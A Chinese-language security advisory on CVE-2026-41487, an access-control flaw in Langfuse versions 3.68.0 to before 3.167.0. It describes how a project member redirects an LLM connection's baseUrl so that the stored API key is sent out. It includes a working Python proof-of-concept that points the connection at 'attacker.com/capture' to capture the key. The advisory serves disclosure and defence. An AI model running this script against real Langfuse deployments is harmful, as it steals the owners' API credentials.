IPBUF安全漏洞报告
English
CVE-2026-41487 CVSS 5.4 中危

CVE-2026-41487 Langfuse 访问控制缺陷致API密钥泄露

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41487
漏洞类型
访问控制绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Langfuse

相关标签

访问控制信息泄露LangfuseLLMSSRF权限绕过

漏洞概述

Langfuse是一个开源大语言模型工程平台。在3.68.0至3.167.0之前的版本中,系统存在基于角色的访问控制(RBAC)缺陷。拥有项目“member”角色的低权限用户可利用此漏洞,修改现有LLM连接的baseUrl为攻击者控制的地址。这将导致系统重用存储的Provider Secret向攻击者端点发送测试请求,从而泄露明文的LLM API密钥。该漏洞要求攻击者需已具有项目成员身份。

技术细节

该漏洞源于Langfuse在处理LLM连接更新流程时的权限校验逻辑存在缺陷。在受影响版本中,当用户尝试更新LLM连接配置时,后端未严格验证用户是否具备修改敏感字段(如baseUrl)的权限。攻击者作为项目中的普通成员,可构造恶意请求,将现有LLM连接的baseUrl参数篡改为攻击者控制的外部服务器地址。系统在响应更新请求时,会触发连接测试,此时Langfuse会自动加载数据库中存储的Provider Secret(即明文API Key),并利用被篡改的baseUrl向外发起请求。攻击者只需监听恶意端点的流量,即可截获该高权限凭据。这一过程结合了访问控制绕过与SSRF特征,导致敏感信息泄露。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取Langfuse项目中一个具有'member'角色的低权限账号。
STEP 2
2. 识别目标
攻击者浏览项目资源,找到需要窃取密钥的现有LLM连接ID。
STEP 3
3. 发起攻击
攻击者发送修改请求,将该连接的baseUrl参数替换为攻击者控制的服务器地址。
STEP 4
4. 密钥泄露
Langfuse服务器复用存储的Provider Secret向攻击者的地址发送测试请求,导致明文API密钥在攻击者服务器日志中暴露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint for updating LLM connection target_url = "https://<target-langfuse-domain>/api/public/llm/<connection_id>" # Attacker controlled server to capture the leaked secret attacker_server = "http://attacker.com/capture" # Headers with authentication token of a low-privileged 'member' user headers = { "Authorization": "Bearer <member_user_token>", "Content-Type": "application/json" } # Malicious payload exploiting the RBAC flaw payload = { "baseUrl": attacker_server, # Depending on the API version, other fields might be needed "provider": "openai", "modelName": "gpt-4" } try: # Send the update request response = requests.patch(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[*] Check your attacker server logs for the intercepted API Key.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Langfuse >= 3.68.0, < 3.167.0

防御指南

临时缓解措施
如果无法立即升级,应暂时限制项目成员修改LLM连接的权限,并在网络出口处监控对外部未知baseUrl的连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表